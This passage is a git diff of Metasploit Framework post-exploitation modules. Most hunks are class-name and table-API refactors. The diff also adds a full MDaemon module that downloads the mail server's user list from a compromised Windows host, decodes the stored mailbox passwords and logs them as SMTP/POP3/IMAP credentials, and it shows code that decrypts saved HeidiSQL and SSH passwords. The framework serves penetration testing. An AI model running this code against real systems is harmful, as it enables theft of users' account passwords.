'mssql-spx-ipx', + 6 => 'mssql-banyan-vines', + 7 => 'mssql-windows-rpc', + 8 => 'postgres'} + + subkeys.each do |site| + site_key = "#{hive['HKU']}\\Software\\HeidiSQL\\Servers\\#{site}" + host = registry_getvaldata(site_key, "Host") || "" + user = registry_getvaldata(site_key, "User") || "" + port = registry_getvaldata(site_key, "Port") || "" + db_type = registry_getvaldata(site_key, "NetType") || "" + prompt = registry_getvaldata(site_key, "LoginPrompt") || "" + ssh_user = registry_getvaldata(site_key, "SSHtunnelUser") || "" + ssh_host = registry_getvaldata(site_key, "SSHtunnelHost") || "" + ssh_port = registry_getvaldata(site_key, "SSHtunnelPort") || "" + ssh_pass = registry_getvaldata(site_key, "SSHtunnelPass") || "" + win_auth = registry_getvaldata(site_key, "WindowsAuth") || "" + epass = registry_getvaldata(site_key, "Password") + + # skip if windows authentication is used (mssql only) + next if db_type.between?(3,7) and win_auth == 1 + next if epass == nil or epass == "" or epass.length == 1 or prompt == 1 + pass = decrypt(epass) + print_good("Service: #{service_types[db_type]} Host: #{host} Port: #{port} User: #{user} Password: #{pass}") + + service_data = { + address: host == '127.0.0.1' ? rhost : host, + port: port, + service_name: service_types[db_type], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :password, + private_data: pass, + username: user + } + + credential_data.merge!(service_data) + + + # Create the Metasploit::Credential::Core object + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) + + + # if we have a MySQL via SSH connection, we need to store the SSH credentials as well + if db_type == 2 then + + print_good("Service: ssh Host: #{ssh_host} Port: #{ssh_port} User: #{ssh_user} Password: #{ssh_pass}") + + service_data = { + address: ssh_host, + port: ssh_port, + service_name: 'ssh', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :password, + private_data: ssh_pass, + username: ssh_user + } + + credential_data.merge!(service_data) + + # Create the Metasploit::Credential::Core object + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) + + end + end + rescue ::Rex::Post::Meterpreter::RequestError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + print_error("Cannot Access User SID: #{hive['HKU']} : #{e.message}") + end + end + unload_our_hives(userhives) + end + + def decrypt(encoded) + decoded = "" + shift = Integer(encoded[-1,1]) + encoded = encoded[0,encoded.length-1] + + hex_chars = encoded.scan(/../) + hex_chars.each do |entry| + x = entry.to_i(16) - shift + decoded += x.chr(Encoding::UTF_8) + end + + return decoded + end +end diff --git a/modules/post/windows/gather/credentials/idm.rb b/modules/post/windows/gather/credentials/idm.rb index 6590172922..ac0fcfc28b 100644 --- a/modules/post/windows/gather/credentials/idm.rb +++ b/modules/post/windows/gather/credentials/idm.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Auxiliary::Report @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Post end def run - creds = Rex::Ui::Text::Table.new( + creds = Rex::Text::Table.new( 'Header' => 'Internet Downloader Manager Credentials', 'Indent' => 1, 'Columns' => diff --git a/modules/post/windows/gather/credentials/imail.rb b/modules/post/windows/gather/credentials/imail.rb index db8a566a30..29d77fadac 100644 --- a/modules/post/windows/gather/credentials/imail.rb +++ b/modules/post/windows/gather/credentials/imail.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Auxiliary::Report @@ -140,7 +140,7 @@ class Metasploit3 < Msf::Post end def report(users) - credentials = Rex::Ui::Text::Table.new( + credentials = Rex::Text::Table.new( 'Header' => 'Ipswitch iMail User Credentials', 'Indent' => 1, 'Columns' => @@ -191,7 +191,7 @@ class Metasploit3 < Msf::Post imail_user = datastore['IMAILUSER'] imail_domain = datastore['IMAILDOMAIN'] - print_status("Download iMail user information...") if datastore['VERBOSE'] == false + vprint_status("Download iMail user information...") #Download user data. If no user specified, we dump it all. users = download_info(imail_user, imail_domain) diff --git a/modules/post/windows/gather/credentials/imvu.rb b/modules/post/windows/gather/credentials/imvu.rb index 239eb67dd2..06a6785cb3 100644 --- a/modules/post/windows/gather/credentials/imvu.rb +++ b/modules/post/windows/gather/credentials/imvu.rb @@ -10,7 +10,7 @@ require 'msf/core' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Auxiliary::Report @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Post def run - creds = Rex::Ui::Text::Table.new( + creds = Rex::Text::Table.new( 'Header' => 'IMVU Credentials', 'Indent' => 1, 'Columns' =>[ diff --git a/modules/post/windows/gather/credentials/mcafee_vse_hashdump.rb b/modules/post/windows/gather/credentials/mcafee_vse_hashdump.rb index 87d870ebc4..8756884945 100644 --- a/modules/post/windows/gather/credentials/mcafee_vse_hashdump.rb +++ b/modules/post/windows/gather/credentials/mcafee_vse_hashdump.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Auxiliary::Report include Msf::Post::Windows::UserProfiles diff --git a/modules/post/windows/gather/credentials/mdaemon_cred_collector.rb b/modules/post/windows/gather/credentials/mdaemon_cred_collector.rb new file mode 100644 index 0000000000..0b5f92aa76 --- /dev/null +++ b/modules/post/windows/gather/credentials/mdaemon_cred_collector.rb @@ -0,0 +1,315 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' +require 'base64' + +class MetasploitModule < Msf::Post + include Msf::Post::Windows::Registry + Rank = ExcellentRanking + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Windows Gather MDaemonEmailServer Credential Cracking', + 'Description' => %q{ + Finds and cracks the stored passwords of MDaemon Email Server. + }, + 'References' => + [ + ['BID', '4686'] + ], + 'License' => MSF_LICENSE, + 'Author' => ['Manuel Nader #AgoraSecurity'], + 'Platform' => ['win'], + 'Arch' => ['x64','x86'], + 'SessionTypes' => ['meterpreter'] + )) + + register_options( + [OptString.new('RPATH', [false, 'Path of the MDaemon installation', false]) # If software is installed on a rare directory + ], self.class) + end + + def run + if session.type != 'meterpreter' + print_error ('Only meterpreter sessions are supported by this post module') + return + end + progfiles_env = session.sys.config.getenvs('SYSTEMDRIVE', 'HOMEDRIVE', 'ProgramFiles', 'ProgramFiles(x86)', 'ProgramW6432') + locations = [] + progfiles_env.each do |_k, v| + vprint_status("Searching MDaemon installation at #{v}") + if session.fs.dir.entries(name = v).include? 'MDaemon' + vprint_status("Found MDaemon installation at #{v}") + locations << v + '\\MDaemon\\' + end + next + end + + keys = [ + 'HKLM\\SOFTWARE\\Alt-N Technologies\\MDaemon', # 64 bit. Has AppPath + # "HKLM\\SOFTWARE\\Wise Solutions\\WiseUpdate\\Apps\\MDaemon Server" # 32 bit on 64-bit system. Won't find path on register + ] + + locations = ['C:\MDaemon\App'] + + if datastore['RHOST'].nil? + locations << datastore['RHOST'] + end + + keys.each do |key| + begin + root_key, base_key = session.sys.registry.splitkey(key) + value = session.sys.registry.query_value_direct(root_key, base_key, 'AppPath') + rescue Rex::Post::Meterpreter::RequestError => e + vprint_error(e.message) + next + end + locations << value.data + '\\' + end + locations = locations.uniq + locations = locations.compact + userlist = check_mdaemons(locations) + get_mdaemon_creds(userlist) if userlist + end + + def crack_password(raw_password) + vprint_status("Cracking #{raw_password}") + offset = [84, 104, 101, 32, 115, 101, 116, 117, 112, 32, 112, 114, 111, 99, 101] + decode = Base64.decode64(raw_password).bytes + crack = decode + result = '' + for i in 0..(crack.size - 1) + if (crack[i] - offset[i]) > 0 + result << (crack[i] - offset[i]) + else + result << ((crack[i] - offset[i]) + 128) + end + end + vprint_status("Password #{result}") + return result + end + + def check_mdaemons(locations) + tmp_filename = (0...12).map { (65 + rand(26)).chr }.join + begin + locations.each do |location| + vprint_status("Checking for Userlist in MDaemons directory at: #{location}") + begin + session.fs.dir.foreach("#{location}") do |fdir| + ['userlist.dat'].each do |datfile| + if fdir.downcase == datfile.downcase + filepath = location + '\\' + datfile + print_good("Configuration file found: #{filepath}") + print_good("Found MDaemons on #{sysinfo['Computer']} via session ID: #{session.sid}") + vprint_status("Downloading UserList.dat file to tmp file: #{tmp_filename}") + session.fs.file.download_file(tmp_filename, filepath) + # userdat = session.fs.file.open(filepath).read.to_s.split(/\n/) + return tmp_filename + end + end + end + rescue Rex::Post::Meterpreter::RequestError => e + vprint_error(e.message) + end + end + rescue ::Exception => e + print_error(e.to_s) + return + end + + return nil + end + + def parse_userlist(data) + # creds = ["['domain','mailbox','full_name','mail_dir','password']"] + creds = [] + pop3 = [] + imap = [] + users = 0 + passwords = 0 + file = File.open(data) + file.each do |line| + domain = line.slice(0..44).strip! + mailbox = line.slice(45..74).strip! + full_name = line.slice(75..104).strip! + mail_dir = line.slice(105..194).strip! + raw_password = line.slice(195..210) + password = crack_password(raw_password) + access= line.slice(217) + users += 1 + passwords += 1 + if access == 'Y' # IMAP & POP3 + pop3 << [domain, mailbox, full_name, mail_dir, password] + imap << [domain, mailbox, full_name, mail_dir, password] + elsif access == 'P' # POP3 + pop3 << [domain, mailbox, full_name, mail_dir, password] + elsif access == 'I' # IMAP + imap << [domain, mailbox, full_name, mail_dir, password] + end + # Saves all the passwords + creds << [domain, mailbox, full_name, mail_dir, password] + end + vprint_status('Collected the following credentials:') + vprint_status(" Usernames: #{users}") + vprint_status(" Passwords: #{passwords}") + vprint_status("Deleting tmp file: #{data}") + del_cmd = 'rm ' + del_cmd << data + system(del_cmd) + result = [creds, imap, pop3] + return result + end + + def report_cred(creds) + # Build service information + service_data = { + # address: session.session_host, # Gives internal IP + address: session.tunnel_peer.partition(':')[0], # Gives public IP + port: 25, + service_name: 'smtp', + protocol: 'tcp', + workspace_id: myworkspace_id + } + # Iterate through credentials + creds.each do |cred| + # Build credential information + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :password, + private_data: cred[4], + username: cred[1], + module_fullname: self.fullname + } + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED, + # workspace_id: myworkspace_id + } + + login_data.merge!(service_data) + create_credential_login(login_data) + + print_status (" Extracted: #{credential_data[:username]}:#{credential_data[:private_data]}") + end + + # report the goods! + loot_path = store_loot('MDaemon.smtp_server.creds', 'text/csv', session, creds.to_csv, + 'mdaemon_smtp_server_credentials.csv', 'MDaemon SMTP Users Credentials') + print_status("SMTP credentials saved in: #{loot_path}") + end + + def report_pop3(creds) + # Build service information + service_data = { + # address: session.session_host, # Gives internal IP + address: session.tunnel_peer.partition(':')[0], # Gives public IP + port: 110, + service_name: 'pop3', + protocol: 'tcp', + workspace_id: myworkspace_id + } + # Iterate through credentials + creds.each do |cred| + # Build credential information + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :password, + private_data: cred[4], + username: cred[1], + module_fullname: self.fullname + } + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED, + # workspace_id: myworkspace_id + } + + login_data.merge!(service_data) + create_credential_login(login_data) + + print_status (" Extracted: #{credential_data[:username]}:#{credential_data[:private_data]}") + end + + # report the goods! + loot_path = store_loot('MDaemon.pop3_server.creds', 'text/csv', session, creds.to_csv, + 'mdaemon_pop3_server_credentials.csv', 'MDaemon POP3 Users Credentials') + print_status("POP3 credentials saved in: #{loot_path}") + end + + def report_imap(creds) + # Build service information + service_data = { + # address: session.session_host, # Gives internal IP + address: session.tunnel_peer.partition(':')[0], # Gives public IP + port: 143, + service_name: 'imap', + protocol: 'tcp', + workspace_id: myworkspace_id + } + # Iterate through credentials + creds.each do |cred| + # Build credential information + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :password, + private_data: cred[4], + username: cred[1], + module_fullname: self.fullname + } + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED, + workspace_id: myworkspace_id + } + + login_data.merge!(service_data) + create_credential_login(login_data) + + print_status (" Extracted: #{credential_data[:username]}:#{credential_data[:private_data]}") + end + + # report the goods! + loot_path = store_loot('MDaemon.imap_server.creds', 'text/csv', session, creds.to_csv, + 'mdaemon_imap_server_credentials.csv', 'MDaemon SMTP Users Credentials') + print_status("IMAP credentials saved in: #{loot_path}") + end + + def get_mdaemon_creds(userlist) + credentials = Rex::Ui::Text::Table.new( + 'Header' => 'MDaemon Email Server Credentials', + 'Indent' => 1, + 'Columns' => + [ + 'Domain', + 'Mailbox', + 'Full Name', + 'Mail Dir', + 'Password' + ]) + result = parse_userlist(userlist) + report_cred(result[0]) + report_pop3(result[1]) + report_imap(result[2]) + end +end diff --git a/modules/post/windows/gather/credentials/meebo.rb b/modules/post/windows/gather/credentials/meebo.rb index 44364a50e4..39d9a7ea24 100644 --- a/modules/post/windows/gather/credentials/meebo.rb +++ b/modules/post/windows/gather/credentials/meebo.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Auxiliary::Report include Msf::Post::Windows::UserProfiles @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Post def parse_txt(file) begin - creds = Rex::Ui::Text::Table.new( + creds = Rex::Text::Table.new( 'Header' => 'Meebo Instant Messenger Credentials', 'Indent' => 1, 'Columns' => diff --git a/modules/post/windows/gather/credentials/mremote.rb b/modules/post/windows/gather/credentials/mremote.rb index 6658d6c797..bcc7ff14e8 100644 --- a/modules/post/windows/gather/credentials/mremote.rb +++ b/modules/post/windows/gather/credentials/mremote.rb @@ -9,7 +9,7 @@ require 'rex' require 'rexml/document' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::UserProfiles include Msf::Auxiliary::Report diff --git a/modules/post/windows/gather/credentials/mssql_local_hashdump.rb b/modules/post/windows/gather/credentials/mssql_local_hashdump.rb index f1d00c5d0b..038fa5b491 100644 --- a/modules/post/windows/gather/credentials/mssql_local_hashdump.rb +++ b/modules/post/windows/gather/credentials/mssql_local_hashdump.rb @@ -9,7 +9,7 @@ require 'msf/core/auxiliary/report' require 'msf/core/post/windows/mssql' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Auxiliary::Report include Msf::Post::Windows::MSSQL @@ -112,11 +112,16 @@ class Metasploit3 < Msf::Post print_status("Attempting to get password hashes...") - get_hash_result = run_sql(query, instance_name) + res = run_sql(query, instance_name) - if get_hash_result.include?('0x') + if res.include?('0x') # Parse Data - hash_array = get_hash_result.split("\r\n").grep(/0x/) + if hash_type == "mssql12" + res = res.unpack('H*')[0].gsub("200d0a", "_CRLF_").gsub("0d0a", "").gsub("_CRLF_", "0d0a").gsub(/../) { + |pair| pair.hex.chr + } + end + hash_array = res.split("\r\n").grep(/0x/) store_hashes(hash_array, hash_type) else diff --git a/modules/post/windows/gather/credentials/nimbuzz.rb b/modules/post/windows/gather/credentials/nimbuzz.rb index f42fa10637..470736e4a5 100644 --- a/modules/post/windows/gather/credentials/nimbuzz.rb +++ b/modules/post/windows/gather/credentials/nimbuzz.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Auxiliary::Report @@ -29,7 +29,7 @@ class Metasploit3 < Msf::Post end def run - creds = Rex::Ui::Text::Table.new( + creds = Rex::Text::Table.new( 'Header' => 'Nimbuzz Instant Messenger Credentials', 'Indent' => 1, 'Columns' => diff --git a/modules/post/windows/gather/credentials/outlook.rb b/modules/post/windows/gather/credentials/outlook.rb index bca5db7416..2b7f673fc4 100644 --- a/modules/post/windows/gather/credentials/outlook.rb +++ b/modules/post/windows/gather/credentials/outlook.rb @@ -9,7 +9,7 @@ require 'msf/core' require 'rex' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Post::Windows::Priv diff --git a/modules/post/windows/gather/credentials/razer_synapse.rb b/modules/post/windows/gather/credentials/razer_synapse.rb index 9d5d445164..591cb8b158 100644 --- a/modules/post/windows/gather/credentials/razer_synapse.rb +++ b/modules/post/windows/gather/credentials/razer_synapse.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'openssl' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::UserProfiles include Msf::Post::File diff --git a/modules/post/windows/gather/credentials/razorsql.rb b/modules/post/windows/gather/credentials/razorsql.rb index a01bb9b7b8..286b5332ad 100644 --- a/modules/post/windows/gather/credentials/razorsql.rb +++ b/modules/post/windows/gather/credentials/razorsql.rb @@ -8,7 +8,7 @@ require 'rex' require 'msf/core/auxiliary/report' require 'openssl' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Auxiliary::Report @@ -76,7 +76,7 @@ class Metasploit3 < Msf::Post def run print_status("Checking All Users...") - creds_tbl = Rex::Ui::Text::Table.new( + creds_tbl = Rex::Text::Table.new( 'Header' => 'RazorSQL User Credentials', 'Indent' => 1, 'Columns' => diff --git a/modules/post/windows/gather/credentials/rdc_manager_creds.rb b/modules/post/windows/gather/credentials/rdc_manager_creds.rb index 45f0e8ed0d..e5efc2ace6 100644 --- a/modules/post/windows/gather/credentials/rdc_manager_creds.rb +++ b/modules/post/windows/gather/credentials/rdc_manager_creds.rb @@ -10,7 +10,7 @@ require 'rex' require 'rexml/document' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::UserProfiles include Msf::Post::Windows::Priv @@ -58,7 +58,7 @@ class Metasploit3 < Msf::Post connection_files = settings.scan(/string>(.*?)<\/string/) connection_files.each do |con_f| - next unless session.fs.file.exists?(con_f[0]) + next unless session.fs.file.exist?(con_f[0]) print_status("\tOpening RDC Manager server list: #{con_f[0]}") connection_data = read_file(con_f[0]) if connection_data diff --git a/modules/post/windows/gather/credentials/skype.rb b/modules/post/windows/gather/credentials/skype.rb index f950de44e5..208f0e5351 100644 --- a/modules/post/windows/gather/credentials/skype.rb +++ b/modules/post/windows/gather/credentials/skype.rb @@ -6,7 +6,7 @@ require 'rex' require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::Registry diff --git a/modules/post/windows/gather/credentials/smartermail.rb b/modules/post/windows/gather/credentials/smartermail.rb index cb0fce4d6e..402e30f37b 100644 --- a/modules/post/windows/gather/credentials/smartermail.rb +++ b/modules/post/windows/gather/credentials/smartermail.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Auxiliary::Report diff --git a/modules/post/windows/gather/credentials/smartftp.rb b/modules/post/windows/gather/credentials/smartftp.rb index 1fa9bba41f..be08299ad5 100644 --- a/modules/post/windows/gather/credentials/smartftp.rb +++ b/modules/post/windows/gather/credentials/smartftp.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'rex' require 'rexml/document' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::UserProfiles def initialize(info={}) diff --git a/modules/post/windows/gather/credentials/spark_im.rb b/modules/post/windows/gather/credentials/spark_im.rb index c3461846d4..56df968c5f 100644 --- a/modules/post/windows/gather/credentials/spark_im.rb +++ b/modules/post/windows/gather/credentials/spark_im.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'openssl' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::UserProfiles diff --git a/modules/post/windows/gather/credentials/sso.rb b/modules/post/windows/gather/credentials/sso.rb index d2584ecf2c..8d92ee0cde 100644 --- a/modules/post/windows/gather/credentials/sso.rb +++ b/modules/post/windows/gather/credentials/sso.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/post/windows/priv' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv include Msf::Auxiliary::Report @@ -76,7 +76,7 @@ class Metasploit3 < Msf::Post vprint_error("LiveSSP credentials not present") end - table = Rex::Ui::Text::Table.new( + table = Rex::Text::Table.new( 'Header' => "Windows SSO Credentials", 'Indent' => 0, 'SortIndex' => 0, diff --git a/modules/post/windows/gather/credentials/steam.rb b/modules/post/windows/gather/credentials/steam.rb index f17abf7c5c..a1a0ab3ce5 100644 --- a/modules/post/windows/gather/credentials/steam.rb +++ b/modules/post/windows/gather/credentials/steam.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Auxiliary::Report @@ -42,12 +42,12 @@ class Metasploit3 < Msf::Post # We will just use an x64 only defined env variable to check. progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles') progfilesx86 = progfiles_env['ProgramFiles(X86)'] - if not progfilesx86.empty? and progfilesx86 !~ /%ProgramFiles\(X86\)%/ + if not progfilesx86.blank? and progfilesx86 !~ /%ProgramFiles\(X86\)%/ progs = progfilesx86 # x64 else progs = progfiles_env['ProgramFiles'] # x86 end - path = progs + '\\Steam\\config' + path = "#{progs}\\Steam\\config" print_status("Checking for Steam configs in #{path}") diff --git a/modules/post/windows/gather/credentials/tortoisesvn.rb b/modules/post/windows/gather/credentials/tortoisesvn.rb index 731d3da103..27ebffe316 100644 --- a/modules/post/windows/gather/credentials/tortoisesvn.rb +++ b/modules/post/windows/gather/credentials/tortoisesvn.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv include Msf::Post::Windows::Registry diff --git a/modules/post/windows/gather/credentials/total_commander.rb b/modules/post/windows/gather/credentials/total_commander.rb index 1f51aabd04..51e71c843d 100644 --- a/modules/post/windows/gather/credentials/total_commander.rb +++ b/modules/post/windows/gather/credentials/total_commander.rb @@ -8,7 +8,7 @@ require 'rex' require 'rex/parser/ini' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Auxiliary::Report diff --git a/modules/post/windows/gather/credentials/trillian.rb b/modules/post/windows/gather/credentials/trillian.rb index a80e9bef9e..5ef6f52e98 100644 --- a/modules/post/windows/gather/credentials/trillian.rb +++ b/modules/post/windows/gather/credentials/trillian.rb @@ -8,7 +8,7 @@ require 'rex' require 'rex/parser/ini' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Auxiliary::Report @@ -54,7 +54,7 @@ class Metasploit3 < Msf::Post return end - creds = Rex::Ui::Text::Table.new( + creds = Rex::Text::Table.new( 'Header' => 'Trillian versions 4-5 Instant Messenger Credentials', 'Indent' => 1, 'Columns' => diff --git a/modules/post/windows/gather/credentials/vnc.rb b/modules/post/windows/gather/credentials/vnc.rb index 0442f20835..5229692c3a 100644 --- a/modules/post/windows/gather/credentials/vnc.rb +++ b/modules/post/windows/gather/credentials/vnc.rb @@ -10,7 +10,7 @@ require 'rex' require 'msf/core/auxiliary/report' require 'rex/proto/rfb' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Auxiliary::Report diff --git a/modules/post/windows/gather/credentials/windows_autologin.rb b/modules/post/windows/gather/credentials/windows_autologin.rb index 5af3bdb12d..ea3ebf955c 100644 --- a/modules/post/windows/gather/credentials/windows_autologin.rb +++ b/modules/post/windows/gather/credentials/windows_autologin.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Auxiliary::Report diff --git a/modules/post/windows/gather/credentials/winscp.rb b/modules/post/windows/gather/credentials/winscp.rb index e9c4d452d1..5829fd7db9 100644 --- a/modules/post/windows/gather/credentials/winscp.rb +++ b/modules/post/windows/gather/credentials/winscp.rb @@ -9,7 +9,7 @@ require 'rex/parser/ini' require 'rex/parser/winscp' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Auxiliary::Report include Msf::Post::Windows::UserProfiles @@ -114,6 +114,14 @@ class Metasploit3 < Msf::Post end env = get_envs('APPDATA', prog_files_env, 'USERNAME') + if env['APPDATA'].nil? + fail_with(Failure::Unknown, 'Target does not have environment variable APPDATA') + elsif env[prog_files_env].nil? + fail_with(Failure::Unknown, "Target does not have environment variable #{prog_files_env}") + elsif env['USERNAME'].nil? + fail_with(Failure::Unknown, 'Target does not have environment variable USERNAME') + end + user_dir = "#{env['APPDATA']}\\..\\.." user_dir << "\\.." if user_dir.include?('Users') diff --git a/modules/post/windows/gather/credentials/wsftp_client.rb b/modules/post/windows/gather/credentials/wsftp_client.rb index 1227e572e2..fafdd63add 100644 --- a/modules/post/windows/gather/credentials/wsftp_client.rb +++ b/modules/post/windows/gather/credentials/wsftp_client.rb @@ -9,7 +9,7 @@ require 'rex/parser/ini' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Auxiliary::Report include Msf::Post::Windows::UserProfiles diff --git a/modules/post/windows/gather/dnscache_dump.rb b/modules/post/windows/gather/dnscache_dump.rb index de4bf2fefb..22024d3c25 100644 --- a/modules/post/windows/gather/dnscache_dump.rb +++ b/modules/post/windows/gather/dnscache_dump.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post def initialize(info={}) super( update_info( info, @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Post end def run - rtable = Rex::Ui::Text::Table.new( + rtable = Rex::Text::Table.new( 'Header' => 'DNS Cached Entries', 'Indent' => 3, 'Columns' => ['TYPE', 'DOMAIN'] diff --git a/modules/post/windows/gather/dumplinks.rb b/modules/post/windows/gather/dumplinks.rb index 13d701aac1..58843c819b 100644 --- a/modules/post/windows/gather/dumplinks.rb +++ b/modules/post/windows/gather/dumplinks.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv include Msf::Post::Windows::Accounts diff --git a/modules/post/windows/gather/enum_ad_bitlocker.rb b/modules/post/windows/gather/enum_ad_bitlocker.rb index 2801d749ab..bce46a3283 100644 --- a/modules/post/windows/gather/enum_ad_bitlocker.rb +++ b/modules/post/windows/gather/enum_ad_bitlocker.rb @@ -7,7 +7,7 @@ require 'rex' require 'msf/core' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Auxiliary::Report include Msf::Post::Windows::LDAP @@ -53,7 +53,7 @@ class Metasploit3 < Msf::Post end # Results table holds raw string data - results_table = Rex::Ui::Text::Table.new( + results_table = Rex::Text::Table.new( 'Header' => 'BitLocker Recovery Passwords', 'Indent' => 1, 'SortIndex' => -1, diff --git a/modules/post/windows/gather/enum_ad_computers.rb b/modules/post/windows/gather/enum_ad_computers.rb index 27f3a742c3..e50debd17a 100644 --- a/modules/post/windows/gather/enum_ad_computers.rb +++ b/modules/post/windows/gather/enum_ad_computers.rb @@ -7,7 +7,7 @@ require 'rex' require 'msf/core' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Auxiliary::Report include Msf::Post::Windows::LDAP @@ -71,7 +71,7 @@ class Metasploit3 < Msf::Post return if q.nil? or q[:results].empty? # Results table holds raw string data - results_table = Rex::Ui::Text::Table.new( + results_table = Rex::Text::Table.new( 'Header' => "Domain Computers", 'Indent' => 1, 'SortIndex' => -1, diff --git a/modules/post/windows/gather/enum_ad_groups.rb b/modules/post/windows/gather/enum_ad_groups.rb index ade732c27a..7c42e12b07 100644 --- a/modules/post/windows/gather/enum_ad_groups.rb +++ b/modules/post/windows/gather/enum_ad_groups.rb @@ -6,10 +6,10 @@ require 'rex' require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Auxiliary::Report include Msf::Post::Windows::LDAP -# include Msf::Post::Windows::Accounts + # include Msf::Post::Windows::Accounts USER_FIELDS = ['name', 'distinguishedname', @@ -19,9 +19,9 @@ class Metasploit3 < Msf::Post super(update_info( info, 'Name' => 'Windows Gather Active Directory Groups', - 'Description' => %{ + 'Description' => %( This module will 